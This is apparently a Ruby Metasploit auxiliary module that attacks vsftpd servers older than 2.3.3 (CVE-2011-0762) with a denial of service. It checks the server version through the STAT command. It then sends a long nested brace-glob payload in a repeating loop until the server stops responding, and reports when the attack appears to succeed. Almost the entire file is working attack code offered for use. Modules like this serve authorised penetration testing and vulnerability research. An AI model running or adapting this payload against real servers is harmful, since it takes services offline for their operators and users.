RadioLogic
110 lines
3.2 KiB
Ruby
110 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Ftp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'VSFTPD 2.3.2 Denial of Service',
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'Description' => %q{
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This module triggers a Denial of Service condition in the VSFTPD server in
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versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.
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},
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'Author' => [
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'Nick Cottrell (Rad10Logic) <ncottrellweb[at]gmail.com>', # Module Creator
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'Anna Graterol <annagraterol95[at]gmail.com>', # Vuln researcher
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'Mana Mostaani <mana.mostaani[at]gmail.com>',
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'Maksymilian Arciemowicz' # Original EDB PoC
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'BID', '46617' ],
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[ 'CVE', '2011-0762' ],
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[ 'EDB', '16270' ]
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],
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'DisclosureDate' => '2011-02-03',
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'Notes' => {
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'Stability' => [CRASH_SERVICE_DOWN],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => []
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}
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)
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)
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end
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def check
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# attempt to connect
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begin
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if !connect_login
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print_error('Connection refused.')
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return Exploit::CheckCode::Unknown
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end
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rescue Rex::ConnectionRefused
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print_error('Connection refused.')
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return Exploit::CheckCode::Unknown
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rescue Rex::ConnectionTimeout
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print_error('Connection timed out')
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return Exploit::CheckCode::Unknown
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end
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s = ''
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loop do
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# get each line until our desired line shows or end line shows
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s = send_cmd(['STAT'], true)
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break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")
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end
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disconnect
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# check if version was found
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if s !~ /vsFTPd \d+\.\d+\.\d+/
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print_error('Did not find ftp version in FTP session.')
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return Exploit::CheckCode::Unknown
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end
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# pull out version and check if its in range of vulnerability
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version = s[/\d+\.\d+\.\d+/]
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if Rex::Version.new(version) < Rex::Version.new('2.3.3')
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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end
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def run
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fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
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payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487
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vprint_status("Payload being sent: #{payload}")
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print_status('sending payload')
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loop do
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print('.')
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connect_login
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10.times do
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send_cmd([payload.to_s], false)
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end
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send_cmd([payload.to_s], true)
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disconnect
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rescue Rex::ConnectionTimeout
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print("\n")
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print_error('Connection timeout! Sending again')
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rescue Errno::ECONNRESET
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print("\n")
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print_error('Connection reset!')
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rescue Rex::ConnectionRefused
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print("\n")
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print_good('Connection refused! Appears DOS attack succeeded.')
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rescue EOFError
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print("\n")
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print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')
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break
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end
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disconnect
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end
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end
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